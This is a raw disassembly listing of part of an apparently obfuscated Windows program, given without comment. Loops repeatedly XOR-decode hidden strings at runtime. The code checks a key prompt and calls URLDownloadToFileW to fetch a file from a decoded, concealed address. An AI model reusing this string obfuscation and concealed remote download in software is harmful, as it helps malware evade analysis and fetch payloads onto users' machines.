xor byte [rbp + 0x971], 0x33
lea rcx, [rbp + 0x970]
call fcn.14002fa40
movaps xmm1, xmm8
movaps xmm0, xmm14
call fcn.140012560
mov dword [rbp + 0x250], 0x43910000
mov dword [rbp + 0x254], 0x41c80000
mov rax, qword [0x1400dd398]
mov qword [rbp + 0x89], rax
cmp byte [reloc.WS2_32.dll_gethostname], 0
je 0x140071763
cmp r15d, 2
jl 0x14007171f
movdqa xmm4, xmmword [0x1400e0080]
movdqa xmm2, xmmword [0x1400dfdd0]
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x1400dfdf0]
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1400dfea0]
packuswb xmm2, xmm2
mov eax, dword [0x1400dfef0]
movd xmm0, eax
paddb xmm2, xmm0
movd xmm1, dword [rbp + 0x89]
xorps xmm2, xmm1
movd dword [rbp + 0x89], xmm2
movdqa xmm3, xmmword [0x1400dfde0]
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm3
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x1400dfdf0]
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1400dfea0]
packuswb xmm2, xmm2
movd xmm0, eax
paddb xmm2, xmm0
movd xmm1, dword [rbp + 0x8d]
xorps xmm2, xmm1
movd dword [rbp + 0x8d], xmm2
jmp 0x140071763
lea r9, [rbp + 0x89]
mov r8d, esi
nop dword [rax]
mov eax, 0x8fb823ef
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x39
movzx eax, r8b
sub al, cl
add al, 0x32
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 8
jl 0x140071730
xor r8d, r8d
lea rdx, [rbp + 0x250]
lea rcx, [rbp + 0x89]
call fcn.1400303c0
test al, al
je 0x14007195b
movups xmm0, xmmword [0x1400ddf68]
movups xmmword [rbp + 0x21], xmm0
movups xmm1, xmmword [0x1400ddf78]
movups xmmword [rbp + 0x31], xmm1
movups xmm0, xmmword [0x1400ddf88]
movups xmmword [rbp + 0x41], xmm0
mov eax, dword [0x1400ddf98]
mov dword [rbp + 0x51], eax
movzx eax, byte [0x1400ddf9c]
mov byte [rbp + 0x55], al
mov r8d, esi
cmp r15d, 2
jl 0x1400718fd
movdqa xmm5, xmmword [0x1400dfdd0]
movdqa xmm4, xmmword [0x1400e0080]
movdqa xmm6, xmmword [0x1400dfdf0]
movdqa xmm0, xmmword [0x1400dfef0]
movdqa xmmword [rsp + 0x70], xmm0
lea rcx, [rbp + 0x25]
mov edx, dword [rsp + 0x70]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1400dfea0]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm3
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1400dfea0]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x30
jl 0x1400717f0
cmp r8d, 0x35
jge 0x140071943
movsxd rax, r8d
lea r9, [rbp + 0x21]
add r9, rax
nop word [rax + rax]
mov eax, 0x8fb823ef
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x39
movzx eax, r8b
sub al, cl
add al, 0x32
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x35
jl 0x140071910
lea rdx, [rbp + 0x21]
lea rcx, [rbp + 0x430]
call fcn.14004cfb0
mov rcx, rax
call fcn.14004a640
movzx eax, byte [0x140126f9d]
test al, al
je 0x140072aa9
mov rcx, qword [0x140126fa0]
mov rax, qword [rcx + 0x3f08]
mov byte [rax + 0xb8], 1
mov rax, qword [rcx + 0x3f08]
movss xmm7, dword [rax + 0x28]
movsd xmm0, qword [str.qcX_Er_I_IH]
movsd qword [rbp + 0x104], xmm0
mov eax, dword [0x1400dcc08]
mov dword [rbp + 0x10c], eax
cmp byte [0x1400dcc0b], 0
je 0x140071b13
mov r8d, esi
cmp r15d, 2
jl 0x140071ace
movdqa xmm4, xmmword [0x1400e0080]
movdqa xmm2, xmmword [0x1400dfdd0]
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x1400dfdf0]
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1400dfea0]
packuswb xmm2, xmm2
mov eax, dword [0x1400dfef0]
movd xmm0, eax
paddb xmm2, xmm0
movd xmm0, dword [str.qcX_Er_I_IH]
xorps xmm2, xmm0
movd dword [rbp + 0x104], xmm2
movdqa xmm3, xmmword [0x1400dfde0]
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm3
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x1400dfdf0]
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1400dfea0]
packuswb xmm2, xmm2
movd xmm0, eax
paddb xmm2, xmm0
movd xmm1, dword [rbp + 0x108]
xorps xmm2, xmm1
movd dword [rbp + 0x108], xmm2
mov r8d, r12d
movsxd rax, r8d
lea r9, [rbp + 0x104]
add r9, rax
nop dword [rax + rax]
mov eax, 0x8fb823ef
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x39
movzx eax, r8b
sub al, cl
add al, 0x32
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0xc
jl 0x140071ae0
movss dword [rsp + 0x20], xmm8
xor r9d, r9d
xor r8d, r8d
lea rdx, [rbp + 0x104]
lea rcx, [rbp + 0x3b0]
call fcn.14000a1b0
movss xmm6, dword [rax]
lea rcx, [0x1400db53c]
call fcn.14002fa40
subss xmm7, xmm6
mulss xmm7, xmm11
movaps xmm0, xmm7
call fcn.140012670
movsd xmm0, qword [str.qcX_Er_I_IH]
movsd qword [rbp + 0x110], xmm0
mov eax, dword [0x1400dcc08]
mov dword [rbp + 0x118], eax
cmp byte [0x1400dcc0b], 0
je 0x140071ce3
mov r8d, esi
cmp r15d, 2
jl 0x140071c97
movdqa xmm4, xmmword [0x1400e0080]
movdqa xmm2, xmmword [0x1400dfdd0]
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x1400dfdf0]
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1400dfea0]
packuswb xmm2, xmm2
mov eax, dword [0x1400dfef0]
movd xmm0, eax
paddb xmm2, xmm0
movd xmm0, dword [str.qcX_Er_I_IH]
xorps xmm2, xmm0
movd dword [rbp + 0x110], xmm2
movdqa xmm3, xmmword [0x1400dfde0]
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm3
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x1400dfdf0]
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1400dfea0]
packuswb xmm2, xmm2
movd xmm0, eax
paddb xmm2, xmm0
movd xmm1, dword [rbp + 0x114]
xorps xmm2, xmm1
movd dword [rbp + 0x114], xmm2
mov r8d, r12d
movsxd rax, r8d
lea r9, [rbp + 0x110]
add r9, rax
nop dword [rax]
nop dword [rax + rax]
mov eax, 0x8fb823ef
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x39
movzx eax, r8b
sub al, cl
add al, 0x32
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0xc
jl 0x140071cb0
lea rcx, [rbp + 0x110]
call fcn.14002fa40
call fcn.140031f70
cmp byte [reloc.WS2_32.dll_accept], 0
je 0x140071f03
movups xmm0, xmmword [0x1400dd190]
movups xmmword [rbp - 0x70], xmm0
movzx eax, word [0x1400dd1a0]
mov word [rbp - 0x60], ax
movzx eax, byte [0x1400dd1a2]
mov byte [rbp - 0x5e], al
mov r8d, esi
cmp r15d, 2
jl 0x140071e6d
movdqa xmm5, xmmword [0x1400dfdd0]
movdqa xmm4, xmmword [0x1400e0080]
movdqa xmm6, xmmword [0x1400dfdf0]
movdqa xmm0, xmmword [0x1400dfef0]
movdqa xmmword [rsp + 0x70], xmm0
lea rcx, [rbp - 0x6c]
mov edx, dword [rsp + 0x70]
nop dword [rax]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1400dfea0]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm3
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1400dfea0]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x10
jl 0x140071d60
cmp r8d, 0x13
jge 0x140071eb3
movsxd rax, r8d
lea r9, [rbp - 0x70]
add r9, rax
nop word [rax + rax]
mov eax, 0x8fb823ef
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x39
movzx eax, r8b
sub al, cl
add al, 0x32
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x13
jl 0x140071e80
lea rdx, [rbp - 0x70]
mov rcx, r14
call fcn.14007f1a0
test al, al
jne 0x140071f03
mov rax, qword [0x140126fa0]
mov rcx, qword [rax + 0x3f08]
movss xmm0, dword [rcx + 0x28]
subss xmm0, xmm10
mulss xmm0, xmm9
movss dword [rbp + 0x258], xmm0
mov dword [rbp + 0x25c], 0x42200000
lea rcx, [rbp + 0x258]
call fcn.140012610
call fcn.140069270
movups xmm0, xmmword [0x1400dd190]
movups xmmword [rbp - 0x70], xmm0
movzx eax, word [0x1400dd1a0]
mov word [rbp - 0x60], ax
movzx eax, byte [0x1400dd1a2]
mov byte [rbp - 0x5e], al
mov r8d, esi
cmp r15d, 2
jl 0x14007206d
movdqa xmm5, xmmword [0x1400dfdd0]
movdqa xmm4, xmmword [0x1400e0080]
movdqa xmm6, xmmword [0x1400dfdf0]
movdqa xmm0, xmmword [0x1400dfef0]
movdqa xmmword [rsp + 0x70], xmm0
lea rcx, [rbp - 0x6c]
mov edx, dword [rsp + 0x70]
nop
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1400dfea0]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm3
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1400dfea0]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x10
jl 0x140071f60
cmp r8d, 0x13
jge 0x1400720b3
movsxd rax, r8d
lea r9, [rbp - 0x70]
add r9, rax
nop word [rax + rax]
mov eax, 0x8fb823ef
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x39
movzx eax, r8b
sub al, cl
add al, 0x32
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x13
jl 0x140072080
lea rdx, [rbp - 0x70]
mov rcx, r14
call fcn.14007f1a0
test al, al
je 0x140072989
movups xmm0, xmmword [str.q_thvf_MJ]
movups xmmword [rbp - 0x70], xmm0
movzx eax, word [0x1400dcfd0]
mov word [rbp - 0x60], ax
movzx eax, byte [0x1400dcfd2]
mov byte [rbp - 0x5e], al
mov r8d, esi
cmp r15d, 2
jl 0x14007222f
movdqa xmm5, xmmword [0x1400dfdd0]
movdqa xmm4, xmmword [0x1400e0080]
movdqa xmm6, xmmword [0x1400dfdf0]
movdqa xmm0, xmmword [0x1400dfef0]
movdqa xmmword [rsp + 0x70], xmm0
lea rcx, [rbp - 0x6c]
mov edx, dword [rsp + 0x70]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1400dfea0]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm3
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1400dfea0]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x10
jl 0x140072122
cmp r8d, 0x13
jge 0x140072273
movsxd rax, r8d
lea r9, [rbp - 0x70]
add r9, rax
nop dword [rax]
mov eax, 0x8fb823ef
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x39
movzx eax, r8b
sub al, cl
add al, 0x32
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x13
jl 0x140072240
mov dword [rsp + 0x20], r13d
mov r9d, 0x40
mov r8d, r13d
lea rdx, [rbp - 0x70]
lea rcx, [rbp + 0x450]
call fcn.1400786b0
nop
cmp qword [rbp + 0x4e0], 0
je 0x14007562d
lea rcx, [rbp + 0xa0]
call fcn.14004ce80
nop
mov rax, qword [rbp + 0x450]
movsxd rcx, dword [rax + 4]
lea rax, [rbp + 0x450]
add rcx, rax
mov dl, 0xa
call qword [sym.imp.MSVCP140.dll_public:_char___cdecl_std::basic_ios_char__struct_std::char_traits_char__::widen_char_const___ptr64]
movzx r8d, al
lea rdx, [rbp + 0xa0]
lea rcx, [rbp + 0x450]
call fcn.140082360
lea rdx, str.Input_Your_Key_here
lea rcx, [rbp + 0xa0]
call fcn.14007f1a0
test al, al
je 0x140075624
lea rdx, [rbp + 0x10]
mov rcx, qword [0x140126fb0]
call qword [sym.imp.KERNEL32.dll_GetExitCodeThread]
test eax, eax
je 0x140075624
cmp dword [rbp + 0x10], 0x103
jne 0x140075624
cmp byte [0x140126f99], 0
jne 0x1400728be
movups xmm0, xmmword [0x1400dcb50]
movups xmmword [rbp + 0x188], xmm0
movups xmm1, xmmword [0x1400dcb60]
movups xmmword [rbp + 0x198], xmm1
movups xmm0, xmmword [0x1400dcb70]
movups xmmword [rbp + 0x1a8], xmm0
movups xmm1, xmmword [0x1400dcb80]
movups xmmword [rbp + 0x1b8], xmm1
cmp r15d, 2
jl 0x14007248f
movdqa xmm5, xmmword [0x1400dfdd0]
mov edx, esi
movdqa xmm4, xmmword [0x1400e0080]
movdqa xmm6, xmmword [0x1400dfdf0]
movdqa xmm7, xmmword [str.22222222]
lea rcx, [rbp + 0x188]
nop word [rax + rax]
movd xmm2, edx
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm3, xmm1, 0xd8
movq xmm2, xmm7
paddw xmm3, xmm2
movq xmm0, qword [rcx]
xorps xmm3, xmm0
movq qword [rcx], xmm3
lea eax, [rdx + 4]
movd xmm2, eax
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm3, xmm1, 0xd8
movq xmm2, xmm7
paddw xmm3, xmm2
movq xmm0, qword [rcx + 8]
xorps xmm3, xmm0
movq qword [rcx + 8], xmm3
add edx, 8
lea rcx, [rcx + 0x10]
cmp edx, 0x20
jl 0x1400723a0
jmp 0x1400724d7
lea r9, [rbp + 0x188]
mov r8d, esi
nop dword [rax]
mov eax, 0x8fb823ef
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movzx eax, dx
imul ecx, eax, 0x39
movzx eax, r8w
sub ax, cx
add ax, 0x32
xor word [r9], ax
inc r8d
lea r9, [r9 + 2]
cmp r8d, 0x20
jl 0x1400724a0
movups xmm0, xmmword [0x1400dc9b0]
movups xmmword [rbp + 0x2c0], xmm0
movups xmm0, xmmword [0x1400dc9d0]
movups xmmword [rbp + 0x2e0], xmm0
movups xmm0, xmmword [0x1400dc9f0]
movups xmm1, xmmword [0x1400dc9c0]
movups xmmword [rbp + 0x300], xmm0
movups xmmword [rbp + 0x2d0], xmm1
movups xmm0, xmmword [0x1400dca10]
movups xmm1, xmmword [0x1400dc9e0]
movups xmmword [rbp + 0x320], xmm0
movups xmmword [rbp + 0x2f0], xmm1
movzx eax, word [0x1400dca28]
movsd xmm0, qword [str.DWKQ5]
movups xmm1, xmmword [0x1400dca00]
mov word [rbp + 0x338], ax
movsd qword [rbp + 0x330], xmm0
movups xmmword [rbp + 0x310], xmm1
mov r8d, esi
cmp r15d, 2
jl 0x140072687
movdqa xmm5, xmmword [0x1400dfdd0]
movdqa xmm4, xmmword [0x1400e0080]
movdqa xmm6, xmmword [0x1400dfdf0]
movdqa xmm7, xmmword [str.22222222]
lea rcx, [rbp + 0x2c0]
nop dword [rax + rax]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm3, xmm1, 0xd8
movq xmm2, xmm7
paddw xmm3, xmm2
movq xmm0, qword [rcx]
xorps xmm3, xmm0
movq qword [rcx], xmm3
lea eax, [r8 + 4]
movd xmm2, eax
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm3, xmm1, 0xd8
movq xmm2, xmm7
paddw xmm3, xmm2
movq xmm0, qword [rcx + 8]
xorps xmm3, xmm0
movq qword [rcx + 8], xmm3
add r8d, 8
lea rcx, [rcx + 0x10]
cmp r8d, 0x38
jl 0x140072590
cmp r8d, 0x3d
jge 0x1400726d7
movsxd rax, r8d
lea r9, [rbp + 0x2c0]
lea r9, [r9 + rax*2]
nop word [rax + rax]
mov eax, 0x8fb823ef
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movzx eax, dx
imul ecx, eax, 0x39
movzx eax, r8w
sub ax, cx
add ax, 0x32
xor word [r9], ax
inc r8d
lea r9, [r9 + 2]
cmp r8d, 0x3d
jl 0x1400726a0
mov qword [rsp + 0x20], rsi
xor r9d, r9d
lea r8, [rbp + 0x188]
lea rdx, [rbp + 0x2c0]
xor ecx, ecx
call qword [sym.imp.urlmon.dll_URLDownloadToFileW]
movups xmm0, xmmword [0x1400dca48]
movups xmmword [rbp - 0x20], xmm0
movups xmm1, xmmword [0x1400dca58]
movups xmmword [rbp - 0x10], xmm1
psrldq xmm1, 0xf
movd eax, xmm1
test al, al
je 0x1400728a3
cmp r15d, 2
jl 0x140072867
movdqa xmm5, xmmword [0x1400dfdd0]
mov edx, esi
movdqa xmm4, xmmword [0x1400e0080]
movdqa xmm6, xmmword [0x1400dfdf0]
movdqa xmm0, xmmword [0x1400dfef0]
movdqa xmmword [rsp + 0x70], xmm0
lea rcx, [rbp - 0x1c]
mov r8d, dword [rsp + 0x70]
nop word [rax + rax]
movd xmm2, edx
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1400dfea0]
packuswb xmm2, xmm2
movd xmm0, r8d
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [rdx + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm3
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1400dfea0]
packuswb xmm2, xmm2
movd xmm0, r8d
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
add edx, 8
lea rcx, [rcx + 8]
cmp edx, 0x20
jl 0x140072760
jmp 0x1400728a3
lea r9, [rbp - 0x20]
mov r8d, esi
